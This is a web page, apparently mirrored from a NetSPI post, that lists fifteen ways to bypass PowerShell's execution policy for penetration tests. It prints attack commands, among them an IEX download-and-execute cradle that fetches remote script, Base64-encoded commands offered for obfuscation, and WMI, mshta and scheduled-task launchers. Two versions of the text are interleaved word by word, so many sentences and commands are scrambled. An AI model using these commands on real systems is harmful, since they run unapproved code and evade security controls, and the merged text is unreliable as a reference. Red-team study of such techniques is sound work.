Bypass the PowerShell Execution Policy
đť 15 Ways to Bypass the PowerShell Execution Policy
đ§ Introduction
PowerShellâPowerShell's execution policy is a safety feature designed to prevent theunauthorized unintendedor executionaccidental ofscript scripts.execution. However, there are many legitimate reasons to work around it â especially during penetration tests ortesting, red team operations,exercises, youor mayautomation. needBelow are 15 common methods to bypass thisthe restrictionpolicy, âwith without administrative privileges.explanations.
đ Bypass Techniques Explained
- 1. Paste
intoScriptInteractiveDirectly in ConsoleOpen aPowerShellconsoleonlyandapplies execution policy to script files. If you paste code directly into thescriptconsole,directly.itExecutionbypasses policyisrestrictionsnot enforced line-by-line.entirely. Echo and2. Pipe Script to PowerShell
You can echo the script and pipe it to PowerShellâs standard input:
This avoids the need for saving the script to disk.echo Write-Host "My voice is my passport, verify me."Hello" | powershell -noprofile -Pipe3. Read Script FileContentsand Pipe to PowerShell
This loads a script from disk and pipes it in:Get-Content.\runme.script.ps1 | powershell -noprofile -
when the script is read as input.typeExecution.\runme.ps1policy|ispowershellnot-noprofileenforced-- 4. Download and Execute
viainIEXMemory
Common in red teaming, this downloads and executes the script directly:
This avoids writing anything to disk.powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('https://bit.ly/1kEgbuH'example.com/script.ps1')" - 5. Use the -Command
ParameterArgument
Scripts passed via the `-command` flag are evaluated like pasted input:powershell -command "Write-Host 'Execution policy? What policy?Bypassed!'" - 6. Use -EncodedCommand
EncodeScriptsyourcanscriptbeintoencoded in Base64 andpasspassedit:to PowerShell:
Useful for obfuscation and policy bypass.$command = "Write-Host 'Execution policy? What policy?'Hello'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommandencoded = [Convert]::ToBase64String($bytes) powershell -EncodedCommand $encodedCommandencoded
If you have access, change the execution policy via:
Set-ExecutionPolicy Bypass -Scope Process
Or modify registry keys like `HKLM:\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell`.
8. Use ISE (Integrated Scripting Environment)ISE sometimes behaves differently and may allow execution:
powershell_ise.exe script.ps1
9. Change File ExtensionRename `.ps1` to `.txt` and read it into memory inside another script. This avoids detection and enforcement. 10. Use WMI to Launch Script
PowerShell can be run via WMI methods that bypass policies:
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "powershell -nop -enc ..."
11. Use Task SchedulerCreate a scheduled task that runs your PowerShell script. The execution policy isn't enforced in the same way:
schtasks /create /tn bypass /tr "powershell.exe -File script.ps1" /sc once /st 00:00
12. Use WinRM or PS RemotingWhen executing scripts remotely, policies on the target system may not apply, especially if executed as commands:
Invoke-Command -ScriptBlock {Write-Host "Hello"} -ComputerName target
13. Use DLL Injection or Reflective PEAdvanced method: Inject PowerShell into memory via custom DLL or PE loader. Used by tools like PowerShell Empire. 14. Use Alternate Shells (e.g., MSHTA, wscript)
Launch PowerShell indirectly from other interpreters:
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -nop -enc ..."":close")
15. Exploit Software That Invokes PowerShellSome tools like MSBuild, Excel macros, or installer frameworks may invoke PowerShell â which you can hijack.
đâ ď¸ NotesLegal Notice
These methods donât require admin rights.
Last mirroredadapted from NetSPI: https://www.netspi.com/blog/...